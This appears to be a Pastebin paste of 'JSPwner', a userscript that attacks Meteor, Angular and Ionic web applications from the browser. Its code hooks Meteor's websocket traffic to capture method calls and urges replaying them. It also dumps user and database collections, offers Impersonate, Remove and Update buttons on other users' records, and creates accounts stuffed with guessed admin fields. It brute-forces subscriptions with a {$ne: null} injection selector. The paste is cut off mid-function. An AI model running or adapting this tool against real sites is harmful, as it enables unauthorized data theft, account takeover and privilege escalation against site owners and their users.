Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // ==UserScript==
- // @name JSPwner
- // @namespace JSPwner
- // @version 0.2
- // @description Extract data from Meteor
- // @author Mix of people
- // @match http://*/*
- // @match https://*/*
- // @require https://code.jquery.com/jquery-3.1.1.min.js
- // @require https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.js
- // @resource https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/themes/smoothness/jquery-ui.css
- // @grant unsafeWindow
- // @grant GM_addStyle
- // @grant GM_notification
- // ==/UserScript==
- /**
- * Checks if Meteor is loaded in the current page
- * @return {Boolean}
- */
- function meteorIsLoaded() {
- return typeof(unsafeWindow.Meteor) === 'object' ? true : false;
- }
- /**
- * Checks if Blaze is loaded in the current page
- * @return {Boolean}
- */
- function isBlaze() {
- if(!meteorIsLoaded()) {return false;}
- return typeof(unsafeWindow.Blaze) === 'object' ? true : false;
- }
- /**
- * Checks if Blaze is loaded in the current page
- * @return {Boolean}
- */
- function isMongo() {
- return typeof(unsafeWindow.Mongo) === 'object' ? true : false;
- }
- /**
- * Checks if Angular is loaded in the current page
- * @return {Boolean}
- */
- function isAngular(){
- return typeof(unsafeWindow.angular) === 'object' ? true : false;
- }
- /**
- * Checks if Ionic is loaded in the current page
- * @return {Boolean}
- */
- function isIonic(){
- return $('ion-view').length > 0 || $('ion-nav-bar').length > 0 || $('ion-nav-view').length > 0 || $('ion-content').length > 0 || $('ion-app').length > 0;
- }
- /**
- * Sniff the websocket messages
- */
- var absoluteCollections = [];
- function sniffWebSocketMessages(){
- var oldSend = Meteor.connection._stream.send;
- Meteor.connection._stream.send = function() {
- oldSend.apply(this, arguments);
- console.log(arguments[0]);
- var obj = JSON.parse(arguments[0]);
- if(typeof(obj) !== "undefined")
- {
- if(obj.msg === "method")
- {
- var func = obj.method;
- var params = JSON.stringify(obj.params);
- functionList = $('#jspwner #jsp-functions-list');
- funcDiv = functionList.find('[name="' + func + '"]');
- if (funcDiv.length === 0) {
- // not loaded, create a stub
- r = functionList.append('<div name="' + func + '" class="jsp-new jsp-loaded">' + func + '<div class="params"> Param values ['+params+']</div></div>');
- tmplDiv = functionList.find('[name="' + func + '"]');
- alert("\""+obj.method+"\" function was found with parameters ["+params+"] try to write Meteor.call(\""+obj.method+"\","+params+") on the Javascript console. Help yourself with the database entries.");
- }
- }
- }
- };
- Meteor.connection._stream.on('message', function (msg) {
- console.log(msg);
- var obj = JSON.parse(msg);
- if(obj.msg === "added")
- {
- var data = {id: obj.id};
- var newObj = {name: obj.collection};
- for (var property in obj.fields) {
- if (obj.fields.hasOwnProperty(property)) {
- data[property] = obj.fields[property];
- }
- }
- var objInArray = isInHiddenCollection(newObj.name);
- if(typeof(objInArray) !== "object" || objInArray === null)
- {
- newObj.data = [];
- newObj.data.push(data);
- absoluteCollections.push(newObj);
- }
- else
- {
- objInArray.data.push(data);
- }
- }
- });
- }
- function isInHiddenCollection(name) {
- for (var i = 0; i < absoluteCollections.length; i++) {
- var elem = absoluteCollections[i];
- if(elem.name === name)
- {
- return elem;
- }
- }
- return null;
- }
- function getSessionParams(){
- var session = unsafeWindow.Session;
- if(typeof(session) !== "undefined")
- {
- if(Object.keys(session.keys).length > 0)
- {
- return session.keys;
- }
- }
- return null;
- }
- /**
- * Get a sorted array of loaded Templates
- * @return [String] Names of loaded templates
- */
- function getLoadedTemplateNames() {
- tmpls = [];
- tmplsFiltered = [];
- if(isBlaze()) {
- $.each($('div'), function(index, elem) {
- if (Blaze.getView(elem)) {
- tmpls.push(Blaze.getView(elem).name);
- if (Blaze.getView(elem).parentView) {
- tmpls.push(Blaze.getView(elem).parentView.name);
- }
- }
- });
- $.each($.unique(tmpls), function(index, t) {
- if (/^Template\./.test(t)) {
- tmplsFiltered.push(t.replace(/^Template\./,''));
- }
- });
- }
- if(isAngular()) {
- var ngApp = retrieveData("ng-app");
- var ngController = retrieveData("ng-controller");
- tmplsFiltered.push(ngApp);
- tmplsFiltered.push(ngController);
- }
- return tmplsFiltered.sort();
- }
- /**
- * Get an array of the functions that were implemented
- * @return [String] Names of functions
- */
- function getAngularFunctions() {
- return retrieveData("ng-click").concat(retrieveData("ng-show")).concat(retrieveData("ng-submit")));
- }
- /**
- * Get the name of the data matching the function name
- * @return [String] Names of the methods
- */
- function retrieveData(name) {
- var functions = [];
- var arrayToParse = $('['+name+']');
- for (var i = 0; i < arrayToParse.length; i++)
- {
- var index = 0;
- while( index < arrayToParse[i].attributes.length )
- {
- if(arrayToParse[i].attributes[index].localName === name)
- {
- functions.push(arrayToParse[i].attributes[index].nodeValue);
- }
- index = index + 1;
- }
- }
- return functions.filter( onlyUnique );
- }
- /**
- * Make an array unique
- * @return [String] Filter of the array
- */
- function onlyUnique(value, index, self) {
- return self.indexOf(value) === index;
- }
- /**
- * Search for debug or instable packages
- * and for versions which are known to be vulnerable
- * @return [String] Filter of the array
- */
- function gatherMisconfigs() {
- var misconfigs = [];
- if(meteorIsLoaded())
- {
- if(typeof(Package.insecure) !== "undefined")
- {
- misconfigs.push("Insecure package is installed");
- }
- if(typeof(Package.autopublish) !== "undefined")
- {
- misconfigs.push("Autopublish package is installed");
- }
- if(typeof(unsafeWindow.MeteorToys) !== "undefined")
- {
- misconfigs.push("MeteorToys package is installed");
- }
- if(isMongo())
- {
- if(typeof(Accounts) !== "undefined" && typeof(Accounts.createUser) !== "undefined")
- {
- misconfigs.push("Accounts.createUser is enabled <br><br><button class='dummy-create jsp-button'>Create Dummy Account</button><br><br><button class='admin-create jsp-button'>Create Admin Account</button><br><br>");
- }
- }
- misconfigs.push("<button class='switch-client-server jsp-button'>Switch Client/Server Mode</button><br><br/>");
- }
- if(isAngular())
- {
- misconfigs.push("<button class='show-html jsp-button'>Show hidden HTML</button><br><br>");
- if(typeof(unsafeWindow.angular.version) !== "undefined" && unsafeWindow.angular.version.full < "1.6.0")
- {
- misconfigs.push("Angular version "+unsafeWindow.angular.version.full+" might be vulnerable to stored XSS");
- }
- else
- {
- misconfigs.push("Angular version is secure");
- }
- }
- if(isIonic())
- {
- misconfigs.push("Ionic is installed and does not mitigate XSS");
- }
- return misconfigs;
- }
- /**
- * Get a sorted array of Templates loaded by Meteor
- * @return [String] Names of templates
- */
- function getTemplateNames() {
- loadedTmpls = getLoadedTemplateNames();
- // ignore the build in stuff
- ignoredTemplates = ['body', '__body__', '__dynamic', '__dynamicWithDataContext', '__DynamicTemplateError__', '__IronDefaultLayout__', '__IronRouterNotFound__', '__IronRouterNoRoutes__', 'ensureSignedIn', 'atError', 'atForm', 'atInput', 'atTextInput', 'atCheckboxInput', 'atSelectInput', 'atRadioInput', 'atHiddenInput', 'atMessage', 'atNavButton', 'atOauth', 'atPwdForm', 'atPwdFormBtn', 'atPwdLink', 'atReCaptcha', 'atResult', 'atSep', 'atSigninLink', 'atSignupLink', 'atSocial', 'atTermsLink', 'atResendVerificationEmailLink', 'atTitle', 'fullPageAtForm', 'reactiveTable', 'reactiveTableFilter'];
- var tmpls = [];
- if(isBlaze()){
- for (var tmplName in Template) {
- // Filter for templates and ignore those in the above list
- if ($.inArray(tmplName, ignoredTemplates) === -1 && Template[tmplName] instanceof Template) {
- // remove `Template.` from the template name
- tmpls.push(tmplName.replace(/^Template\./,''));
- }
- }
- }
- if(isAngular()) {
- tmpls = loadedTmpls;
- }
- return tmpls.sort();
- }
- /**
- * Get all the collections loaded by Meteor
- * @return [Object] Array of associative arrays of collection Info
- * name Collection Name
- * instance The collection object
- * count Record count
- * fieldCounts Associative array
- * key Fields
- * value Number of records with the above fields
- */
- function getCollections() {
- //return Meteor.connection._mongo_livedata_collections;
- var cols = [];
- var name = '';
- var numCols = 0;
- if(meteorIsLoaded())
- {
- name = "Meteor.";
- }
- // Global collections
- for (var objectName in unsafeWindow) {
- if (unsafeWindow[objectName] instanceof Mongo.Collection) {
- cols.push({name: objectName, instance: unsafeWindow[objectName], count: unsafeWindow[objectName].find().count()});
- }
- }
- // Meteor collections
- for (var objectName in unsafeWindow.Meteor) {
- if (unsafeWindow.Meteor[objectName] instanceof Mongo.Collection) {
- cols.push({name: name + objectName, instance: unsafeWindow.Meteor[objectName], count: unsafeWindow.Meteor[objectName].find().count()});
- numCols = numCols + unsafeWindow.Meteor[objectName].find().count();
- }
- }
- // check for non-uniform fields in collection
- for (var c of cols) {
- counts = {};
- if (c.instance.find().count() > 0) {
- fields = [];
- for (var r of c.instance.find().fetch()) {
- fieldNames = deepPropertyNames(r).toString();
- counts[fieldNames] = (counts[fieldNames] + 1) || 1;
- }
- }
- c.fieldCounts = counts;
- }
- // sort the collections by name
- cols = cols.sort(function(a,b){
- if (a.name < b.name) return -1;
- if (a.name > b.name) return 1;
- return 0;
- });
- if(numCols === 0)
- {
- cols = [];
- if(meteorIsLoaded())
- {
- for(var colName in Meteor.connection._mongo_livedata_collections)
- {
- if(typeof(colName) !== "undefined");
- {
- cols.push({name: colName, instance: null, count: 0});
- }
- }
- }
- }
- return cols;
- }
- /**
- * Escape HTML chars so as not to have XSS problems
- * @return String
- */
- function escapeHTMLchar(string){
- if(typeof(string.replace) !== "undefined"){
- return string.replace(/&/g, "&").replace(/>/g, ">").replace(/</g, "<").replace(/"/g, """);
- }
- return string;
- }
- /**
- * Distinguish between Meteor.users and other collections
- * @return Mongo.Collection
- */
- function analyzeCollection(name){
- return (name === "Meteor.users") ? unsafeWindow.Meteor.users : unsafeWindow[name];
- }
- /**
- * Update the panel
- * @return null
- */
- function updateInfo() {
- //Session
- sessionList = $('#jspwner #jsp-session-list');
- sessionParams = getSessionParams();
- if(sessionParams !== null)
- {
- keys = Object.keys(sessionParams);
- for(var i = 0; i < keys.length; i++)
- {
- key = keys[i];
- ssnDiv = sessionList.find('[name="' + key + '"]');
- if(ssnDiv.length === 0) {
- r = sessionList.append('<div name="' + key + '" class="jsp-new jsp-loaded session">' + key + '<div class="params"> Param values ['+ sessionParams[key] + '] </div> </div>');
- }
- var sessData = {};
- sessData[key] = sessionParams[key];
- ssnDiv = $('#jsp-session-list div[name="' + key + '"]');
- ssnDiv.data('sessionInfo', sessData);
- }
- }
- // Templates
- templateList = $('#jspwner #jsp-templates-list');
- loadedTmpls = getLoadedTemplateNames();
- sortNeeded = false;
- $.each(getTemplateNames(), function(index,tmplName) {
- tmplDiv = templateList.find('[name="' + tmplName + '"]');
- if (tmplDiv.length === 0) {
- // not loaded, create a stub
- r = templateList.append('<div name="' + tmplName + '" class="jsp-new">' + tmplName + '</div>');
- tmplDiv = templateList.find('[name="' + tmplName + '"]');
- sortNeeded = true;
- }
- // is loaded?
- if ($.inArray(tmplName, loadedTmpls) !== -1) {
- tmplDiv.removeClass('jsp-not-loaded').addClass('jsp-loaded').addClass('jsp-new');
- } else {
- tmplDiv.removeClass('jsp-loaded').addClass('jsp-not-loaded').removeClass('jsp-new');
- }
- if(isBlaze()){
- tmplDiv.data('template', Template[tmplName]);
- }
- });
- // sort the display
- if (sortNeeded) {
- templateListItems = templateList.children().sort(function (a,b) {
- aa = $(a).attr('name');
- bb = $(b).attr('name');
- if (aa > bb) { return 1; }
- if (aa < bb) { return -1; }
- return 0;
- });
- templateList.children().remove();
- templateList.append(templateListItems);
- }
- // Collections
- //not hidden
- if(isMongo() && meteorIsLoaded()){
- collectionList = $('#jspwner #jsp-collections-list');
- sortNeeded = false;
- // update the items
- $.each(getCollections(), function(index,col) {
- uniqueFieldCount = 0;
- uniqueFieldCountText = '';
- loaded = col.count > 0;
- if(typeof(col.fieldCounts) !== "undefined")
- {
- uniqueFieldCount = Object.keys(col.fieldCounts).length;
- if (uniqueFieldCount >= 2) {
- uniqueFieldCountText = uniqueFieldCount + ' Unique Field Sets';
- }
- }
- else {loaded = col.count > 0;}
- colDiv = collectionList.find('[name="' + col.name + '"]');
- if (colDiv.length === 0) {
- // not loaded, create a stub
- collectionList.append('\
- <div name="' + col.name + '" class="collection">' + col.name + ' \
- <div class="size"></div> \
- <div class="field-counts"></div> \
- </div>');
- colDiv = collectionList.find('[name="' + col.name + '"]');
- sortNeeded = true;
- }
- // has data?
- oldSize = colDiv.find('.size').text().trim();
- newSize = col.count + plural(col.count,' Record');
- oldFieldCounts = colDiv.find('.field-counts').text().trim();
- newFieldCounts = uniqueFieldCountText;
- // update loaded
- if (loaded) {
- colDiv.removeClass('jsp-not-loaded').addClass('jsp-loaded');
- } else {
- colDiv.removeClass('jsp-loaded').addClass('jsp-not-loaded');
- }
- // update size and highlight if changed
- if (oldSize !== newSize) {
- colDiv.find('.size').remove();
- colDiv.append('<div class="size jsp-new">' + newSize + ' </div>');
- }
- // update field counts and highlight if changed
- if (oldFieldCounts !== newFieldCounts) {
- //colDiv.find('.field-counts').text(uniqueFieldCountText).addClass('jsp-new');
- colDiv.find('.field-counts').remove();
- colDiv.append('<div class="field-counts jsp-new">' + uniqueFieldCountText + ' </div>');
- } else {
- // move to end
- //colDiv.append(colDiv.find('.field-counts'));
- }
- // bind the collection info to the div
- colDiv = $('#jsp-collections-list div[name="' + col.name + '"]');
- if(col.instance !== null)
- {
- colDiv.data('collectionInfo', col);
- }
- });
- // sort the display
- if (sortNeeded) {
- collectionListItems = collectionList.children().sort(function (a,b) {
- aa = $(a).attr('name');
- bb = $(b).attr('name');
- if (aa > bb) { return 1; }
- if (aa < bb) { return -1; }
- return 0;
- });
- collectionList.children().remove();
- collectionList.append(collectionListItems);
- }
- }
- //hidden
- if(isMongo() && meteorIsLoaded()){
- collectionList = $('#jspwner #jsp-collections-list-hidden');
- sortNeeded = false;
- // update the items
- $.each(absoluteCollections, function(index,col) {
- uniqueFieldCount = 0;
- uniqueFieldCountText = '';
- loaded = col.data.length > 0;
- colDiv = collectionList.find('[name="' + col.name + '"]');
- if (colDiv.length === 0) {
- // not loaded, create a stub
- collectionList.append('\
- <div name="' + col.name + '" class="collection">' + col.name + ' \
- <div class="size"></div> \
- <div class="field-counts"></div> \
- </div>');
- colDiv = collectionList.find('[name="' + col.name + '"]');
- sortNeeded = true;
- }
- // has data?
- oldSize = colDiv.find('.size').text().trim();
- newSize = col.data.length + plural(col.data.length,' Record');
- // update loaded
- if (loaded) {
- colDiv.removeClass('jsp-not-loaded').addClass('jsp-loaded');
- } else {
- colDiv.removeClass('jsp-loaded').addClass('jsp-not-loaded');
- }
- // update size and highlight if changed
- if (oldSize !== newSize) {
- colDiv.find('.size').remove();
- colDiv.append('<div class="size jsp-new">' + newSize + ' </div>');
- }
- // bind the collection info to the div
- colDiv = $('#jsp-collections-list-hidden div[name="' + col.name + '"]');
- colDiv.data('collectionInfo', col);
- });
- }
- // Subscriptions
- if(meteorIsLoaded())
- {
- subsList = $('#jspwner #jsp-subscriptions-list');
- sortNeeded = false;
- // get the subsriptions
- subs = unsafeWindow.Meteor.connection._subscriptions;
- // tag subscriptions as not in use, remove later if not updated
- subsList.children().attr('dead', 'dead');
- // update each sub
- for (var sKey in subs) {
- sub = subs[sKey];
- subDiv = subsList.find('[name="' + sub.name + '"]');
- if (subDiv.length === 0) {
- // not loaded, create a stub
- stub = '<div name="' + sub.name + '" class="jsp-new">' + sub.name + '<div class="params"></div></div>';
- subsList.append(stub);
- subDiv = subsList.find('[name="' + sub.name + '"]');
- sortNeeded = true;
- }
- if (sub.ready) {
- subDiv.addClass('jsp-ready').removeClass('jsp-not-ready');
- } else {
- subDiv.removeClass('jsp-ready').addClass('jsp-not-ready');
- }
- if (sub.params.length) {
- paramString = JSON.stringify(sub.params, function(k, v) { if (v === undefined) { return null; } return v; });
- subDiv.find('.params').text('Param Values: ' + paramString);
- } else {
- subDiv.find('.params').text('');
- }
- // remove dead
- subDiv.removeAttr('dead');
- }
- // remove subscriptions no longer in use
- subsList.children('[dead=dead]').remove();
- // sort the display
- // TODO: sort will retrigger highlight, fix this
- if (sortNeeded && 1===2) {
- subsListItems = subsList.children().sort(function (a,b) {
- aa = $(a).attr('name');
- bb = $(b).attr('name');
- if (aa > bb) { return 1; }
- if (aa < bb) { return -1; }
- return 0;
- });
- subsList.append(subsListItems);
- }
- }
- //Functions
- if(isAngular()){
- functionList = $('#jspwner #jsp-functions-list');
- functions = getAngularFunctions();
- $.each(functions, function(index,func) {
- funcDiv = functionList.find('[name="' + func + '"]');
- if (funcDiv.length === 0) {
- // not loaded, create a stub
- r = functionList.append('<div name="' + func + '" class="jsp-new">' + func + '</div>');
- tmplDiv = functionList.find('[name="' + func + '"]');
- }
- // is loaded?
- if ($.inArray(func, functions) !== -1) {
- funcDiv.removeClass('jsp-not-loaded').addClass('jsp-loaded').addClass('jsp-new');
- } else {
- funcDiv.removeClass('jsp-loaded').addClass('jsp-not-loaded').removeClass('jsp-new');
- }
- });
- }
- //Vulnerabilities
- vulnList = $('#jspwner #jsp-vulnerabilities-list');
- misconfigs = gatherMisconfigs();
- $.each(misconfigs, function(index,conf) {
- confDiv = vulnList.find('[name="' + conf + '"]');
- if (confDiv.length === 0) {
- // not loaded, create a stub
- r = vulnList.append('<div name="' + conf + '" class="jsp-new">' + conf + '</div>');
- confDiv = vulnList.find('[name="' + conf + '"]');
- }
- // is loaded?
- if ($.inArray(conf, misconfigs) !== -1) {
- confDiv.removeClass('jsp-not-loaded').addClass('jsp-loaded').addClass('jsp-new');
- } else {
- confDiv.removeClass('jsp-loaded').addClass('jsp-not-loaded').removeClass('jsp-new');
- }
- });
- }
- function updateInfoOnce() {
- sniffWebSocketMessages();
- // the routes are static, so no need to get it on every update
- // check if Iron router is in use
- // TODO: check if one of the other router platforms is in use and get those routes
- if (document.links.length === 0) {
- $('#jspwner .jsp-routes-header').hide();
- $('#jspwner .jsp-routes-list').hide();
- } else {
- // get the routes div
- routesList = $('#jspwner #jsp-routes-list');
- var hostname = unsafeWindow.location.hostname;
- if(typeof(Router) !== 'function' || typeof(Router.routes) !== 'object')
- {
- var l = document.links;
- var unique = new Set();
- for(var i=0; i<l.length; i++)
- {
- var link = l[i].href;
- if(link.indexOf(hostname) !== -1)
- {
- var nameLink = link.split("/")[link.split("/").length - 1];
- if(!unique.has(nameLink))
- {
- routesList.append('<div name="'+nameLink+ '" class="jsp-loaded">/'+nameLink+ ' <a href="/'+nameLink+ '" class="jsp-not-loaded">></a></div>');
- unique.add(nameLink);
- }
- }
- }
- }
- else
- {
- for (var i=0; i<Router.routes.length; i++)
- {
- routesList.append('<div name="' + Router.routes[i].getName() + '" class="jsp-loaded">' + Router.routes[i]._path + ' <a href="' + Router.routes[i]._path + '" class="jsp-not-loaded">></a></div>');
- }
- routesListItems = routesList.children().sort(function (a,b) {
- aa = $(a).attr('name');
- bb = $(b).attr('name');
- if (aa > bb) { return 1; }
- if (aa < bb) { return -1; }
- return 0;
- });
- routesList.children().remove();
- routesList.append(routesListItems);
- }
- console.log(routesList);
- }
- }
- // ********************************************************************************
- // ********************************************************************************
- // *** ***
- // *** HELPERS ***
- // *** ***
- // ********************************************************************************
- // ********************************************************************************
- /**
- * Get the property names from an object
- * @param {Object} The object to analyze
- * @param {Number} The depth to search, default is 2
- * @return [String] Array of field names
- */
- function deepPropertyNames(o, depth) {
- depth = depth || 10;
- var propNames = [];
- Object.getOwnPropertyNames( o ).forEach(function( name ) {
- // don't get details if..
- // too deep
- // Array
- // Date
- if (typeof(o[name]) === 'object' && o[name] !== null && !(o[name] instanceof Date) && depth > 1) {
- result = deepPropertyNames(o[name], depth - 1);
- result.forEach(function( name2 ) {
- propNames.push(name + '.' + name2);
- });
- } else {
- propNames.push(name);
- }
- });
- return propNames.sort();
- }
- /**
- * Plurize the text if there is not 1 item
- * @param num {Number} Number of items used to determine if plural
- * @param text {String} Text to make plural
- * @return {String} Resultant plural (or not) text
- */
- function plural(num, text) {
- if (num === 1) return text;
- return text + 's';
- }
- // ********************************************************************************
- // ********************************************************************************
- // *** ***
- // *** EVENTS ***
- // *** ***
- // ********************************************************************************
- // ********************************************************************************
- $('body').on('click', '.switch-client-server', function(event) {
- event.preventDefault();
- event.stopPropagation();
- if(Meteor.isClient)
- {
- Meteor.isClient = false;
- Meteor.isServer = true;
- alert("Server Mode ON");
- }
- else
- {
- Meteor.isClient = true;
- Meteor.isServer = false;
- alert("Client Mode ON");
- }
- });
- /**
- * Get click on session, show field info
- */
- $('body').on('click', '#jspwner #jsp-session-list div', function(event) {
- event.preventDefault();
- event.stopPropagation();
- if ($(event.target).hasClass('session')) {
- target = $(event.target);
- } else {
- target = $(event.target).parent();
- }
- cInfo = target.data('sessionInfo');
- if (typeof(cInfo) === "undefined") {
- // if no records there are no details to see
- return;
- }
- var key = Object.keys(cInfo)[0];
- var value = cInfo[key];
- cDetailsHtml = '<form method="post" id="session-change-form">\
- <input type="hidden" name="keyParam" value="'+key+'">';
- cDetailsHtml += '<p class="jsp-text">'+ escapeHTMLchar(key) + ': </p><p class="jsp-text">[example: "' + escapeHTMLchar(value) + '"]</p> <br/> <input class="jsp-input" type="text" name="valueParam" size="10" required> <br/>';
- cDetailsHtml += 'String <input type="radio" name="type" value="string"/><br/>\
- Boolean<input type="radio" name="type" value="bool"/><br/>\
- Number<input type="radio" name="type" value="num"/><br/>';
- cDetailsHtml += '<br/><input class="change-session jsp-button" type="submit" value="Change">\
- </form>';
- // set the details info
- $('#jspwner .jsp-secondary-panel .jsp-secondary-header').text('Field Details for ' + key );
- $('#jspwner .jsp-secondary-panel .jsp-secondary-details').html(cDetailsHtml);
- $('#jspwner .jsp-main-panel').hide();
- $('#jspwner .jsp-secondary-panel').show();
- });
- /**
- * Get click on hidden collections, show field info
- */
- $('body').on('click', '#jspwner #jsp-collections-list-hidden div', function(event) {
- event.preventDefault();
- event.stopPropagation();
- if ($(event.target).hasClass('collection')) {
- target = $(event.target);
- } else {
- target = $(event.target).parent();
- }
- cInfo = target.data('collectionInfo');
- if (typeof(cInfo) === "undefined" || cInfo.count === 0) {
- // if no records there are no details to see
- return;
- }
- data = cInfo.data;
- cDetailsHtml = '<div class="header"><table cellspacing="10" valign="top" style="width:100%">';
- for (var i = 0; i < data.length; i++) {
- cDetailsHtml += '<tr>';
- var coll = data[i];
- var isUsers = (cInfo.name === "Meteor.users") ? true : false;
- for(var k of Object.keys(coll))
- {
- cDetailsHtml += '<td><h1 class="change-color"> ' + escapeHTMLchar(k) + '</h1></td><th><h1 class="jsp-loaded">' + escapeHTMLchar(coll[k]) + ' </h1></th>';
- }
- cDetailsHtml += '</tr>';
- }
- cDetailsHtml += '</table></div>';
- // set the details info
- $('#jspwner .jsp-secondary-panel .jsp-secondary-header').text('Field Details for ' + cInfo.name);
- $('#jspwner .jsp-secondary-panel .jsp-secondary-details').html(cDetailsHtml);
- $('#jspwner .jsp-main-panel').hide();
- $('#jspwner .jsp-secondary-panel').show();
- });
- /**
- * Get click on collections, show field info
- */
- $('body').on('click', '#jspwner #jsp-collections-list div', function(event) {
- event.preventDefault();
- event.stopPropagation();
- if ($(event.target).hasClass('collection')) {
- target = $(event.target);
- } else {
- target = $(event.target).parent();
- }
- cInfo = target.data('collectionInfo');
- if (typeof(cInfo) === "undefined" || cInfo.count === 0) {
- // if no records there are no details to see
- return;
- }
- data = [];
- // get the fields
- cDetailsHtml = '';
- for (var fields of Object.keys(cInfo.fieldCounts)) {
- var insecure = cInfo.instance._isInsecure();
- var isUsers = (cInfo.name === "Meteor.users") ? true : false;
- /* var allowInsert = cInfo.instance._validators.insert.allow.length > 0;
- var allowUpdate = cInfo.instance._validators.update.allow.length > 0;
- var allowRemove = cInfo.instance._validators.remove.allow.length > 0;*/
- //take all the visible values of the collection
- var coll = cInfo.instance.find().fetch();
- cDetailsHtml += '<div class="header"> <h1 class="jsp-text"><b>Secure:' + !insecure + '</b></h1></div>\
- <div class="detail"><table cellspacing="10" valign="top" style="width:100%">';
- for( var q = 0; q < coll.length; q++)
- {
- cDetailsHtml += '<tr>';
- var attrSet = new Set();
- //iterate over the attribute's name
- for( var k of coll)
- {
- //recursivly take all the attributes' tree name (e.g. profile.emails.name)
- var array = deepPropertyNames(k).toString().split(",");
- //for each attribute name
- for( var i = 0; i < array.length; i++)
- {
- attrArray = array[i].split(".");
- //this is the value of the attribute name
- var row = coll[q];
- var attrCompleted = "";
- for(var j = 0; j < attrArray.length; j++)
- {
- var attr = attrArray[j].toString();
- if(j !== 0)
- {
- attrCompleted += "."+attr;
- }
- else
- {
- attrCompleted += attr;
- }
- if(typeof(row) !== "undefined" && row[attr] !== null)
- {row = row[attr];}
- }
- //a way not to let duplicates happen
- if(!attrSet.has(attrCompleted))
- {
- attrSet.add(attrCompleted);
- if(typeof(row) !== "undefined")
- {
- cDetailsHtml += '<td><h1 class="change-color"> ' + escapeHTMLchar(attrCompleted) + '</h1></td><th><h1 class="jsp-loaded">' + escapeHTMLchar(row) + ' </h1></th>';
- }
- }
- }
- }
- //this exploits is only for Meteor.users
- if(isUsers && coll[q]._id !== unsafeWindow.Meteor.userId())
- {
- cDetailsHtml += '<th><button class="button-hijack jsp-button" value="'+coll[q]._id+'">Impersonate</button></th>';
- }
- //if(allowRemove || typeof(Package.insecure) !== "undefined")
- {
- cDetailsHtml += '<th><button class="remove-row jsp-button" value="'+coll[q]._id+'" name="'+cInfo.name+'">Remove</button></th>';
- }
- //if(allowUpdate || allowInsert || typeof(Package.insecure) !== "undefined")
- {
- cDetailsHtml += '<th><button class="third-panel-nav jsp-button" value="'+coll[q]._id+'" name="'+cInfo.name+'">Update/Insert</button></th>';
- }
- cDetailsHtml += '</tr>';
- }
- }
- cDetailsHtml += '</table></div>';
- // set the details info
- $('#jspwner .jsp-secondary-panel .jsp-secondary-header').text('Field Details for ' + cInfo.name);
- $('#jspwner .jsp-secondary-panel .jsp-secondary-details').html(cDetailsHtml);
- $('#jspwner .jsp-main-panel').hide();
- $('#jspwner .jsp-secondary-panel').show();
- });
- /**
- * Get click on template, show functions
- */
- $('body').on('click', '#jspwner #jsp-templates-list div', function(event) {
- tmpl = $(event.target).data('template');
- detailsHtml = '';
- // helpers
- detailsHtml += '<div class="header">Helpers</div>';
- if ('__helpers' in tmpl) {
- for (var h in tmpl.__helpers) {
- if ($.inArray(h, ['has', 'get', 'set']) === -1) {
- detailsHtml += '<div class="detail">' + h.replace(/^ +/,'') + '</div>';
- }
- }
- } else {
- detailsHtml += '<div class="detail">None</div>';
- }
- // event map
- detailsHtml += '<div class="header">Event Map</div>';
- if ('__eventMaps' in tmpl) {
- for (var i=0; i<tmpl.__eventMaps.length; i++) {
- for (var e in tmpl.__eventMaps[i]) {
- if ($.inArray(e, ['has', 'get', 'set']) === -1) {
- detailsHtml += '<div class="detail">' + e.replace(/^ +/,'') + '</div>';
- }
- }
- }
- } else {
- detailsHtml += '<div class="detail">None</div>';
- }
- $('#jspwner .jsp-secondary-panel .jsp-secondary-header').text('Template ' + tmpl.viewName.replace(/^Template\./,''));
- $('#jspwner .jsp-secondary-panel .jsp-secondary-details').html(detailsHtml);
- $('#jspwner .jsp-main-panel').hide();
- $('#jspwner .jsp-secondary-panel').show();
- });
- $('body').on('click', '#jspwner * #jsp-routes-list a', function(event) {
- Router.go($(event.target).attr('href'));
- });
- //create a dummy account with Accounts.createUser(user, callback)
- $('body').on('click', '.dummy-create', function(event) {
- event.preventDefault();
- event.stopPropagation();
- //create a new user with random values (e.g. dummy387)
- var random = Math.floor(Math.random() * (999 - 100 + 1)) + 100;
- var username = "dummy"+random;
- var email = username+"@mailinator.com";
- var password = "12345678";
- var user = {username: username, email: email, password: password};
- unsafeWindow.Accounts.createUser(user, null);
- //make sure the user is created
- var userCreate = unsafeWindow.Meteor.users.find({username: username});
- if(userCreate === null)
- {
- alert("Failed to create dummy account");
- return;
- }
- alert("username: "+username+" password: "+password+" email: "+email);
- });
- //show hidden HTML
- $('body').on('click', '.show-html', function(event) {
- event.preventDefault();
- event.stopPropagation();
- $(".ng-hide").removeClass("ng-hide");
- });
- //try to create an admin account guessing the admin fields
- //it is more probable that you will have a normal user account
- $('body').on('click', '.admin-create', function(event) {
- event.preventDefault();
- event.stopPropagation();
- //create a new user with random values (e.g. admin387)
- var random = Math.floor(Math.random() * (999 - 100 + 1)) + 100;
- var username = "admin"+random;
- var email = username+"@mailinator.com";
- var password = "12345678";
- //those are common fields for gaining admin privileges
- //feel free to add new ones
- var services = { role: "admin", roles: "admin", isAdmin: true, isModerator: true, moderator: true};
- var profile = { role: "admin", roles: "admin", isAdmin: true, isModerator: true, moderator: true};
- var user = {username: username, email: email, password: password, roles: "admin", role: "admin", isAdmin: true, isModerator: true, moderator: true, profile: profile, services: services};
- unsafeWindow.Accounts.createUser(user, null);
- var userCreate = unsafeWindow.Meteor.users.find({username: username});
- if(userCreate === null)
- {
- alert("Failed to create dummy account");
- return;
- }
- alert("username: "+username+" password: "+password+" email: "+email);
- });
- //simple bruteforce to catch hidden subscription and hence see more DB's data
- //try subscription with the same name
- //try subscription with the same name to lowercase
- //try subscription with the same name to uppercase
- //try subscription with the same name with the first char uppercase
- $('body').on('click', '.try-bruteforce-subscriptions', function(event) {
- event.preventDefault();
- event.stopPropagation();
- if(!isMongo() || !meteorIsLoaded())
- {
- alert("MongoDB is not present");
- return;
- }
- //for each Collection make a simple bruteforce
- $.each(getCollections(), function(index,col) {
- var name = col.name;
- Meteor.subscribe(name, { $ne: null });
- Meteor.subscribe(name.toLowerCase(), { $ne: null });
- Meteor.subscribe(name.toUpperCase(), { $ne: null });
- Meteor.subscribe(name.charAt(0).toUpperCase() + name.slice(1), { $ne: null });
- var separators = ['.', ',', '_', '-', '/', ':'];
- for(var i = 0; i < separators.length; i++)
- {
- sep = separators[i];
- if (name.indexOf(sep) > -1)
- {
- var split = name.split(sep);
- for(var j = 0; j < split.length; j++)
- {
- newColl = split[j];
- Meteor.subscribe(newColl);
